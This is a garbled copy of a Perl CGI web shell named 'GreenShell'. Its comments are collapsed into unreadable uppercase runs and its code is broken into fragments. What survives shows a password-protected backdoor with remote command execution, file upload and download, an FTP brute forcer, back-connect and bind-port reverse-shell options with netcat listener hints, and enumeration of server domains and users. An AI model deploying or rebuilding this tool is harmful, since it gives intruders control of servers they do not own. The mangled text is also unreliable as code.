SRINPERLISRLCALANDMINSEMIMEASEVERSINCGITELNETVERSIN@$EditPersion="GreenShell";@PASSWRDGREENCHANGETHISYWILLNEEDTENTERTHISTLGINSISWINSTRIMENVSERVERSFTWAREIFSMWINIRETRNELSERETRNWINNTISWINYNEEDTCHANGETHEVALEFTHISTIFYRERNNINGTHISSCRIPTNAWINDWSNTMACHINEIFYRERNNINGITNNIYCANLEAVETHEVALEASITISNTCMDSEPTHISCHARACTERISSEDTSEPERATECMMANDSINACMMANDLINENWINDWSNTNICMDSEPTHISCHARACTERISSEDTSEPERATECMMANDSINACMMANDLINENNICMMANDTIMETDRATINTIMEINSECNDSAFTERCMMANDSWILLEKILLEDDNTSETTHISTAVERYLARGEVALETHISISSEFLFRCMMANDSTHATMAYHANGRTHATTAKEVERYLNGTEECTELIKEFINDTHISISVALIDNLYNNISERVERSITISIGNREDNNTSERVERSSHWDYNAMICTPTIFTHISISTHENDATAISSENTTTHERWSERASSNASITISTPTTHERWISEITISFFEREDANDSENDWHENTHECMMANDCMPLETESTHISISSEFLFRCMMANDSLIKEPINGSTHATYCANSEETHETPTASITISEINGGENERATEDDNTCHANGEANYTHINGELWTHISLINENLESSYKNWWHATYREDINGCMDSEPWINNTNTCMDSEPNICMDSEPCMDPWDWINNTCDPWDPATHSEPWINNT@$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");@CLSRWSREADSTHEINPTSENTYTHERWSERANDPARSESTHEINPTVARIALESITPARSESGETPSTANDMLTIPARTFRMDATATHATISSEDFRPLADINGFILESTHEFILENAMEISSTREDININFANDTHEDATAISSTREDININFILEDATATHERVARIALESCANEACCESSEDSINGINVARWHEREVARISTHENAMEFTHEVARIALENTEMSTFTHECDEINTHISFNCTINISTAKENFRMTHERCGISCRIPTSSREADPARSELCALINIFLCALILCKEYVALMLTIPARTFRMDATAENVCNTENTTYPEMLTIPARTFRMDATANDARYIFENVREQESTMETHDEQGETINENVQERYSTRINGELSIFENVREQESTMETHDEQPSTINMDESTDINIFMLTIPARTFRMDATAWINNTREADSTDININENVCNTENTLENGTHHANDLEFILEPLADDATAIFENVCNTENTTYPEMLTIPARTFRMDATANDARYNDARYPLEASEREFERTRFCLISTSPLITNDARYINHEADERDYLISTHEADERDYRNRNNNHEADERDYDYSRNTHELASTRNWASPTINYNETSCAPEINFILEDATADYHEADERFILENAMEINFINFSGINFSSGPARSETRAILERFRILISTIILISTISNAMELISTIWKEYVALVALSRNRNNNRNNGVALSPACKCHEGEINKEYVALELSESTANDARDPSTDATARLENCDEDNTMLTIPARTINSPLITINFREACHIININISGKEYVALSPLITINIKEYSPACKCHEGEVALSPACKCHEGEINKEYIFDEFINEDINKEYINKEYVALPRINTSTHEHTMLPAGEHEADERARGMENTFRMITEMNAMETWHICHFCSSHLDESETSPRINTPAGEHEADERENCDEDCRRENTDIRCRRENTDIRENCDEDCRRENTDIRSAANPACKHEGMYDIRCRRENTDIRDIRSGPRINTCNTENTTYPETETHTMLNNPRINTEND@@@@Green Shell@HTMLMETAHEADER@@@@@
@@@ @ @ @@@@@
@ $EditPersion@ @ $ENV{"SERVER_SOFTWARE"}@ Server IP: $ENV{'SERVER_ADDR'} | Your IP: $ENV{'REMOTE_ADDR'}@
@Home | @Command |@GUI | @Upload File | @Download File |@Back & Bind |@Brute Forcer |@Check Log |@Domains/Users |@Logout |@Help@
@@ENDPRINTSTHELGINSCREENSPRINTLGINSCREENPRINTEND@
@
@Green SHell

Password : green
@@@@

@ Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
@ Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
@~\$ Connected !
@$ServerName~ Checking Server . . . . . . . . . . . . . . . . . . .
@$ServerName~ Trying connect to Command . . . . . . . . . . .
@$ServerName~\$ Connected Command!
@$ServerName~\$ OK! You can kill it!@

@
@@ENDADDHTMLSPECIALCHARSSHTMLSPECIALCHARSMYTETSHIFTTETSAMPGTETSQTGTETSGTETSLTG@ $text =~ s/>/>/g;@RETRNTETADDLINKFRDIRECTRYSADDLINKDIRMYACSHIFTMYDIRIFWINNTDIRSPLITCRRENTDIRELSEDIRSPLITTRIMCRRENTDIRMYPATHMYRESLTFREACHDIRPATHPATHSEP@ $result.="".$_.$PathSep."";@RETRNRESLTPRINTSTHEMESSAGETHATINFRMSTHESERFAFAILEDLGINSPRINTLGINFAILEDMESSAGEPRINTEND@
Login : Administrator
@Password:
@Login incorrect

@ENDPRINTSTHEHTMLFRMFRLGGINGINSPRINTLGINFRMPRINTEND@
@@Login : Administrator
@Password:@@
@ENDPRINTSTHEFTERFRTHEHTMLPAGESPRINTPAGEFTER@ print "
";@RETREIVESTHEVALESFALLCKIESTHECKIESCANEACCESSESSINGTHEVARIALECKIESSGETCKIESHTTPCKIESSPLITENVHTTPCKIEFREACHCKIEHTTPCKIESIDVALSPLITCKIECKIESIDVALPRINTSTHESCREENWHENTHESERLGSTSPRINTLGTSCREEN@ print "Connection closed by foreign host.

";@LGSTTHESERANDALLWSTHESERTLGINAGAINSPERFRMLGTPRINTSETCKIESAVEDPWDNREMVEPASSWRDCKIEPRINTPAGEHEADERPPRINTLGTSCREENPRINTLGINSCREENPRINTLGINFRMPRINTPAGEFTEREITTHISFNCTINISCALLEDTLGINTHESERIFTHEPASSWRDMATCHESITDISPLAYSAPAGETHATALLWSTHESERTRNCMMANDSIFTHEPASSWRDDENSTMATCHRIFNPASSWRDISENTEREDITDISPLAYSAFRMTHATALLWSTHESERTLGINSPERFRMLGINIFLGINPASSWRDEQPASSWRDPASSWRDMATCHEDPRINTSETCKIESAVEDPWDLGINPASSWRDNPRINTPAGEHEADERPRINTLISTDIRELSEPASSWRDDIDNTMATCHPRINTPAGEHEADERPPRINTLGINSCREENIFLGINPASSWRDNESMEPASSWRDWASENTEREDPRINTLGINFAILEDMESSAGEPRINTLGINFRMPRINTPAGEFTEREITPRINTSTHEHTMLFRMTHATALLWSTHESERTENTERCMMANDSSPRINTCMMANDLINEINPTFRM@ my $dir= "".&AddLinkDir("command")."";@ $Prompt = $WinNT ? "$dir > " : "[admin@$ServerName $dir]\$ ";@RETRNEND@
@@@PRMPT@@@
@ENDPRINTSTHEHTMLFRMTHATALLWSTHESERTDWNLADFILESSPRINTFILEDWNLADFRMMYDIRADDLINKDIRDWNLAD@ $Prompt = $WinNT ? "$dir > " : "[admin@$ServerName $dir]\$ ";@RETRNEND@
@@@$Prompt download

@Filename:

@Download: @
@ENDPRINTSTHEHTMLFRMTHATALLWSTHESERTPLADFILESSPRINTFILEPLADFRMMYDIRADDLINKDIRPLAD@ $Prompt = $WinNT ? "$dir > " : "[admin@$ServerName $dir]\$ ";@RETRNEND@
@$Prompt upload

@Filename:

@Options:  @

@Upload:   @@@
@ENDTHISFNCTINISCALLEDWHENTHETIMETFRACMMANDEPIRESWENEEDTTERMINATETHESCRIPTIMMEDIATELYTHISFNCTINISVALIDNLYNNIITISNEVERCALLEDWHENTHESCRIPTISRNNINGNNTSCMMANDTIMETIFWINNTALARMRETRNEND@@
@Command exceeded maximum time of $CommandTimeoutDuration second(s).@
Killed it!@ENDTHISFNCTINDISPLAYSTHEPAGETHATCNTAINSALINKWHICHALLWSTHESERTDWNLADTHESPECIFIEDFILETHEPAGEALSCNTAINSAATREFRESHFEATRETHATSTARTSTHEDWNLADATMATICALLYARGMENTFLLYQALIFIEDFILENAMEFTHEFILETEDWNLADEDSPRINTDWNLADLINKPAGELCALFILERLMYRESLTIFEFILERLIFTHEFILEEISTSENCDETHEFILELINKSWECANSENDITTTHERWSERFILERLSAANPACKHEGDWNLADLINKSCRIPTLCATINADWNLADFFILERLG@ $HtmlMetaHeader = "";@PRINTPAGEHEADERCRESLTEND@Sending File $TransferFile...
@IFTHEDWNLADDESNTSTARTATMATICALLY@Click Here@ENDRESLTPRINTCMMANDLINEINPTFRMELSEFILEDESNTEISTRESLTFAILEDTDWNLADFILERLRESLTPRINTFILEDWNLADFRMRETRNRESLTTHISFNCTINREADSTHESPECIFIEDFILEFRMTHEDISKANDSENDSITTTHERWSERSTHATITCANEDWNLADEDYTHESERARGMENTFLLYQALIFIEDPATHNAMEFTHEFILETESENTSSENDFILETRWSERMYRESLTLCALSENDFILEIFPENSENDFILESENDFILEFILEPENEDFRREADINGIFWINNTINMDESENDFILEINMDESTDTFILESIESTATSENDFILEFILENAMESENDFILEMPRINTCNTENTTYPEAPPLICATINNKNWNNPRINTCNTENTLENGTHFILESIENPRINTCNTENTDISPSITINATTACHMENTFILENAMENN@ print while();@CLSESENDFILEEITELSEFAILEDTPENFILERESLTFAILEDTDWNLADSENDFILERESLTPRINTFILEDWNLADFRMRETRNRESLTTHISFNCTINISCALLEDWHENTHESERDWNLADSAFILEITDISPLAYSAMESSAGETTHESERANDPRVIDESALINKTHRGHWHICHTHEFILECANEDWNLADEDTHISFNCTINISALSCALLEDWHENTHESERCLICKSNTHATLINKINTHISCASETHEFILEISREADANDSENTTTHERWSERSEGINDWNLADGETFLLYQALIFIEDPATHFTHEFILETEDWNLADEDIFWINNTTRANSFERFILEMWINNTTRANSFERFILEMPATHISASLTETARGETFILETRANSFERFILEELSEPATHISRELATIVECHPTARGETFILEIFTARGETFILECRRENTDIRMTARGETFILEPATHSEPTRANSFERFILEIFPTINSEQGWEHAVETSENDTHEFILESENDFILETRWSERTARGETFILEELSEWEHAVETSENDNLYTHELINKPAGEPRINTDWNLADLINKPAGETARGETFILETHISFNCTINISCALLEDWHENTHESERWANTSTPLADAFILEIFTHEFILEISNTSPECIFIEDITDISPLAYSAFRMALLWINGTHESERTSPECIFYAFILETHERWISEITSTARTSTHEPLADPRCESSSPLADFILEIFNFILEISSPECIFIEDPRINTTHEPLADFRMAGAINIFTRANSFERFILEEQRETRNPRINTFILEPLADFRMMYRESLTSTARTTHEPLADINGPRCESS@ $result .= "Uploading $TransferFile to $CurrentDir...
";@GETTHEFLLLYQALIFIEDPATHNAMEFTHEFILETECREATEDCHPTARGETNAMEIFTARGETNAMECRRENTDIRMTRANSFERFILEMTARGETNAMEPATHSEPTARGETFILESIELENGTHINFILEDATAIFTHEFILEEISTSANDWEARENTSPPSEDTVERWRITEITIFETARGETNAMEPTINSNEVERWRITE@ $result .= "Failed: Destination file already exists.
";@ELSEFILEISNTPRESENT@ if(open(UPLOADFILE, ">$TargetName"))@INMDEPLADFILEIFWINNTPRINTPLADFILEINFILEDATACLSEPLADFILE@ $result .= "Transfered $TargetFileSize Bytes.
";@ $result .= "File Path: $TargetName
";@ELSE@ $result .= "Failed: $!
";@RESLTPRINTCMMANDLINEINPTFRMRETRNRESLTTHISFNCTINISCALLEDWHENTHESERWANTSTDWNLADAFILEIFTHEFILENAMEISNTSPECIFIEDITDISPLAYSAFRMALLWINGTHESERTSPECIFYAFILETHERWISEITDISPLAYSAMESSAGETTHESERANDPRVIDESALINKTHRGHWHICHTHEFILECANEDWNLADEDSDWNLADFILEIFNFILEISSPECIFIEDPRINTTHEDWNLADFRMAGAINIFTRANSFERFILEEQPRINTPAGEHEADERFRETRNPRINTFILEDWNLADFRMGETFLLYQALIFIEDPATHFTHEFILETEDWNLADEDIFWINNTTRANSFERFILEMWINNTTRANSFERFILEMPATHISASLTETARGETFILETRANSFERFILEELSEPATHISRELATIVECHPTARGETFILEIFTARGETFILECRRENTDIRMTARGETFILEPATHSEPTRANSFERFILEIFPTINSEQGWEHAVETSENDTHEFILERETRNSENDFILETRWSERTARGETFILEELSEWEHAVETSENDNLYTHELINKPAGERETRNPRINTDWNLADLINKPAGETARGETFILETHISFNCTINISCALLEDTEECTECMMANDSITDISPLAYSTHETPTFTHECMMANDANDALLWSTHESERTENTERANTHERCMMANDTHECHANGEDIRECTRYCMMANDISHANDLEDDIFFERENTLYINTHISCASETHENEWDIRECTRYISSTREDINANINTERNALVARIALEANDISSEDEACHTIMEACMMANDHASTEEECTEDTHETPTFTHECHANGEDIRECTRYCMMANDISNTDISPLAYEDTTHESERSTHEREFREERRRMESSAGESCANNTEDISPLAYEDSEECTECMMANDMYRESLTIFRNCMMANDMSCDSITISACHANGEDIRCMMANDWECHANGETHEDIRECTRYINTERNALLYTHETPTFTHECMMANDISNTDISPLAYEDCMMANDCDCRRENTDIRCMDSEPCDCMDSEPCMDPWDCHPCRRENTDIRCMMANDRESLTPRINTCMMANDLINEINPTFRM@ $result .= "Command: $RunCommand
";@RETRNRESLTRNCMMANDSRNCMDMYRESLTCMMANDCDCRRENTDIRCMDSEPRNCMMANDREDIRECTRIFWINNTSIGALRMCMMANDTIMETALARMCMMANDTIMETDRATINIFSHWDYNAMICTPTSHWTPTASITISGENERATEDCMMANDPENCMMANDTPTCMMAND@ while()@SNRNRESLTHTMLSPECIALCHARSNELSESHWTPTAFTERCMMANDCMPLETESRESLTHTMLSPECIALCHARSCMMANDIFWINNTALARMRETRNRESLTFRMSAVEFILESSAVEFILEFRMMYRESLTSSTRRNCMMANDMYFILETRIMRNCMMAND@ $save='
';@FILECRRENTDIRPATHSEPRNCMMAND@ my $dir="".&AddLinkDir("gui")."";@IFWFILERWSELSE@ $msg="
Permission denied!
";@RWS@ $Prompt = $WinNT ? "$dir > " : "[admin@$ServerName $dir]\$ ";@READWINNTTYPELESSRNCMMANDREADRNCMMANDRESLTEND@
@ @PRMPT@ @ @
Command: $RunCommand @ $save
$msg@
";@ $result .= "
";@RETRNRESLTSAVEFILESSAVEFILEMYDATASHIFTMYFILESHIFTFILECRRENTDIRPATHSEPFILE@ if(open(FILE, ">$File"))@INMDEFILEPRINTFILEDATACLSEFILERETRNELSERETRNRTEFRCERFRMSRTEFRCERFRMMYRESLTRESLTEND@@@@@@@@@@@@
@####################################
@Simple FTP brute forcer
@
@@
User:
@Pass:
@@
@Sleep: @
@ENDRETRNRESLTRTEFRCERSRTEFRCERMYRESLTSERVERENVSERVERADDRIFINSEREQRESLTRTEFRCERFRMELSESENETFTPSERSPLITNINSERPASSSPLITNINPASSCHMPSERCHMPPASS@ $result .= "

[+] Trying brute $ServerName
====================>>>>>>>>>>>><<<<<<<<<<====================

\n";@FREACHSERNAMESERIFSERNAMEEQFREACHPASSWRDPASS@ $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n"; @ if($ftp->login("$username","$password"))@ $result .= "[+] ftp://$username:$password@$Server
\n";@ $ftp->quit();@REAKIFINSLEEPEQSLEEPINTINSLEEP@ $ftp->quit();@ $result .= "\n
==========>>>>>>>>>> Finished <<<<<<<<<<==========
\n";@RETRNRESLTACKCNNECTFRMSACKINDFRMRETRNEND@

@ @ @ @ @ @ @ @ @ @ @ @
BackConnect: Host: @ Port:
[+] Client listen before connect back!@
[+] Try check your Port with http://www.canyouseeme.org/@
[+] Client listen with command: nc -vv -l -p 80
@

@ @ @ @ @ @ @ @ @ @ @ @
Bind Port: Port: @ Password:
[+] Chuc nang chua dc test!@
[+] Try command: nc $ENV{'SERVER_ADDR'} 1412

@ENDACKCNNECTSEPERLSACKINDSEMIMEASESESCKETACKPERLIYEVDNYLPIWSDQPCGSLNVYTLDDSNCIRTAGVSAKICIVYMLLHCGIWKEFSRMQEFSRYDQPCGAVWKDNLIEPGVIYWKGDQPNRQDSVLCQRLTKVLCTTNLNKVTSWGVCHVDGIEWHWINRCCIPKSVCIKAWGCHPNQGILSTSVMFIGGDGGMVSINGIWKYMVDCHTTNLRVQSIHNVYTHGRYLKCRKDWWFDLCPMVFEFSRMFPKSKGIGGLLIHYAWICLVGVWHYMLIHRVIENVMLYQGSGDFISNCNYAWICDWNWQHISNCLNPQTFVCYVSDNKCKDQPVCGVKFNRELLCAIPITTNLRVQIKTSNCMWWRETVLCILNPQTFVCIPWKLIHTVERFLISIMDSVIIKDQPWCMLDCAILSPSDWNWQGQMFARVIGPTTLSAGGCIIDQPENWINVCVIEHRGSFYNNLDCTQVFSELTVCAWNYANWYTDIFNCRLWLMICCIHVYWLICHVAGWNYANWYTDIFVPMVIANYPDTLYHVVAGGSRSEALYRVCNKICCIHDTLYHVYLYHVICDKGHLGWICCFNWSIIKDQPGSTTNLRVQINDPERLIYEVDNYLPIWSDQPCGAVWKEFSRMQEFSRYDQKCGYDAKICRKDWWDWKHYRVCTGVCHVDGIEWHWRCCCPWKFNWSCTGIIIAWVYMFACIDQPNRQVSVKVSLCQRLTKVLCTTNLNKVTSWGHYRVKWYIGRPSAICAVIQHISNCNNLDHNVYTVCHQVSVKVSLCTTFDSVLCTTSRVVTRFERFISIHHYSIMWILCAKSLVCIKAWGINNLDHNVYTVCHQICQHISNCMPMQVSVKVSLCNRYWRKCLPIGKCGYDCWGSRERSFWSKPIGGLLICIAWKIAKISIDQPSANWVSVKVSLCTTWENPTKPCQLVCIKAWGIMPCRLGCEIWKMYKDSGHHGRYIDGYWNKENMSVVCWGVSVKVSKTSGYVCGQRKQKEWKCWWWRESSICIKNMSVVCIPWKCWWWRETVLCAIPIDTELFTLQIKTSNCGLVCGVKFNREVSIWGIMQRIIKDQCLDGVTKCNNLDCISVNRKLMRTSGDWQGFWRHQGVAGGSRSTENWPMVIANYMFTSATYTTLYHVVAGGSRSVCVYAWMGSGAWQWNTLYHVICDKGRGLYWNIANYWDQWNSGWNYANWYTDIFNWSIANYRTAGVSCIPWKCWNSNLKFNRELKTSNCGLGSHTVERPVVQPWKCWNSNLKFNREVSIKDQPDQCLIENTADDRINCLIENTADDRCLIENTPRTINTINCLIENTPRTIFCLIENTPRTEQRETRNACKINDFRMELSIFCLIENTADDREQDATADECDEASEACKPERLIFWTMPFILETMPACKCNNECTPLELSEFILECRRENTDIRPATHSEPACKCNNECTPL@ open(FILE, ">$File");@PRINTFILEDATACLSEFILESYSTEMPERLACKCNNECTPLCLIENTADDRCLIENTPRTNLINKFILEEITELSEDATADECDEASEINDPERLIFWTMPFILETMPINDPRTPLELSEFILECRRENTDIRPATHSEPINDPRTPL@ open(FILE, ">$File");@PRINTFILEDATACLSEFILESYSTEMPERLINDPRTPLCLIENTPRTNLINKFILEEITARRAYLISTDIRECTRYSRMDIRMYDIRSHIFTIFPENDIRDIRDIRWHILEFILEREADDIRDIRIFFILENEFILENEFILEDIRPATHSEPFILEIFDFILERMDIRFILEELSENLINKFILECLSEDIRDIRIFRMDIRDIRSFILEWNERMYFILESHIFTIFEFILEIDGIDSTATFILEIFWINNTRETRNELSENAMEGETPWIDIDGRPGETGRGIDGIDRETRNNAMEGRPRETRNSPARENTFLDERMYPATHSHIFTMYCMMCDCRRENTDIRCMDSEPCDCMDSEPCMDPWDCHPPATHCMMRETRNPATHSFILEPERMSMYFILESHIFTMYRMYWIFEFILEIFWINNTIFRFILERRIFWFILEWWRETRNRWELSEMDESTATFILERESLTSPRINTFMDERETRNRESLTRETRNSFILELASTMDIFIEDMYFILESHIFTIFEFILELASTATFILEDMYHILCALTIMELAYYMNTHQWLMTIMESPRINTFDSDDDDMNTHMYHIRETRNLMTIMERETRNSFILESIEMYFILESHIFTIFFFILERETRNSFILERETRNSPARSEFILESIEMYSIESHIFTIFSIERETRNSIEELSEIFSIESIESPRINTFFSIERETRNSIEKELSESIESPRINTFFSIERETRNSIEMSTRIMMYSTRINGSHIFTSTRINGSSSTRINGSSRETRNSTRINGSADDSLASHESMYSTRINGSHIFTSTRINGSGRETRNSTRINGSLISTDIRMYPATHCRRENTDIRPATHSEPPATHSG@ my $result = "
Path: [ ".&AddLinkDir("gui")." ]
";@IFDPATHMYFNAMEMYDNAMEIFPENDIRDIRPATHWHILEFILEREADDIRDIRFPATHFILEIFDFPSHDNAMEFILEELSEPSHFNAMEFILECLSEDIRDIRFNAMESRTLCACMPLCFNAMEDNAMESRTLCACMPLCDNAME@ $result .= "
@ @ @ @ @ @ ";@MYSTYLELINEMYIFREACHMYDDNAMESTYLESTYLEEQLINENTLINELINEDTRIMDDIRNAMEDIFDEQDPARENTFLDERPATHELSIFDEQDPATHELSEDPATHD@ $result .= "@ ";@ $result .= "";@ $result .= "";@ $result .= "";@ $result .= "";@ $result .= "";@ $result .= "";@IFREACHMYFFNAMESTYLESTYLEEQLINENTLINELINEFILEFFPATHFVIEWDIRPATHVIEWF@ $result .= "";@ $result .= "";@ $result .= "";@ $result .= "";@ $result .= "";@ $result .= "";@ $result .= "";@I@ $result .= "
File NameFile SizeOwnerPermissionLast ModifiedAction
[ ".$dirname." ]DIR".&FileOwner($d)."".&FilePerms($d)."".&FileLastModified($d)."Rename | Remove
".$file."".&ParseFileSize(&FileSize($f))."".&FileOwner($f)."".&FilePerms($f)."".&FileLastModified($f)."Edit | Rename | Download | Remove
";@RETRNRESLTTRYTVIEWLISTSERSVIEWDMAINSERPENDMAINSETCNAMEDCNFRERR@ my@cnzs = ;@CLSEDMAINSMYSTYLELINE@ my $result="
Hoang Sa - Truong Sa
";@IFERR@ $result .= ('

C0uldn\'t Bypass it , Sorry

');@RETRNRESLTELSE@ $result .= '';@FREACHMYNECNSIFNEMNESTYLESTYLEEQLINENTLINELINEFILENAMEETCVALIASESNEWNERGETPWIDSTATFILENAME@ $result .= '';@ $result .= '
Domains User
'.$one.' '.$owner.'
';@RETRNRESLTVIEWLGSVIEWLGIFWINNT@ return "

Don't run on Windows

";@ my $result="";@MYPATHLGSRLCALAPACHELGSERRRLGVARLGHTTPDERRRLGSRLCALAPACHELGSACCESSLGMYIMYPERMSMYSLFREACHMYLGPATHLGIFWLGPERMSKELSECHPSLLNSLGERRRLGIIFTRIMLSEQIFRLSPERMSKLGERRRLGIELSE@ $perms="Cancel";@RESLTEND@ @
@ @ @ @ @ @ @ @ @ENDI@ $result .="
Path LogSubmit
$perms
";@RETRNRESLTMAINPRGRAMEECTINSTARTSHEREREADPARSEGETCKIESSCRIPTLCATINENVSCRIPTNAMESERVERNAMEENVSERVERNAMELGINPASSWRDINPRNCMMANDINCTRANSFERFILEINFPTINSINACTININAACTINCMMANDIFACTINEQNACTINSPECIFIEDSEDEFALTGETTHEDIRECTRYINWHICHTHECMMANDSWILLEEECTEDCRRENTDIRTRIMINDMACDINHATTHNGTINNEKCLENHNARNCMMANDWINNTDIRDIRLIAIFRNCMMANDEQCHPCRRENTDIRCMDPWDIFCRRENTDIREQLGGEDINCKIESSAVEDPWDEQPASSWRDIFACTINEQLGINLGGEDINSERNEEDSHASTLGINPERFRMLGINELSIFACTINEQGIGIDIRECTRYPRINTPAGEHEADERIFWINNTCHMDINTINCHMDIFCHMDEQCHMDINTINCHMDFILECRRENTDIRPATHSEPTRANSFERFILECHPRESLTCHMDCHMDFILEIFTRIMRESLTEQ@ print " Done!
";@ELSE@ print " Sorry! You dont have permissions!
";@RENAMEINRENAMEIFRENAMEEQIFRENAMETRANSFERFILERENAME@ print " Done!
";@ELSE@ print " Sorry! You dont have permissions!
";@REMVEINREMVEIFREMVENERMCRRENTDIRPATHSEPREMVEIFDRMRMDIRRMELSEIFNLINKRM@ print " Done!
";@ELSE@ print " Sorry! You dont have permissions!
";@PRINTLISTDIRELSIFACTINEQCMMANDSERWANTSTRNACMMANDPRINTPAGEHEADERCPRINTEECTECMMANDELSIFACTINEQSAVESERWANTSTSAVEAFILEPRINTPAGEHEADERIFSAVEFILEINDATAINFILE@ print " Done!
";@ELSE@ print " Sorry! You dont have permissions!
";@PRINTLISTDIRELSIFACTINEQPLADSERWANTSTPLADAFILEPRINTPAGEHEADERPRINTPLADFILEELSIFACTINEQACKINDSERWANTSTACKCNNECTRINDPRTPRINTPAGEHEADERCLIENTPRTPRINTACKINDELSIFACTINEQRTEFRCERSERWANTSTRTEFRCEPRINTPAGEHEADERPRINTRTEFRCERELSIFACTINEQDWNLADSERWANTSTDWNLADAFILEPRINTDWNLADFILEELSIFACTINEQCHECKLGSERWANTSTVIEWLGFILEPRINTPAGEHEADERPRINTVIEWLGELSIFACTINEQDMAINSSERSERWANTSTVIEWLISTSERDMAINPRINTPAGEHEADERPRINTVIEWDMAINSERELSIFACTINEQLGTSERWANTSTLGTPERFRMLGTPRINTPAGEFTER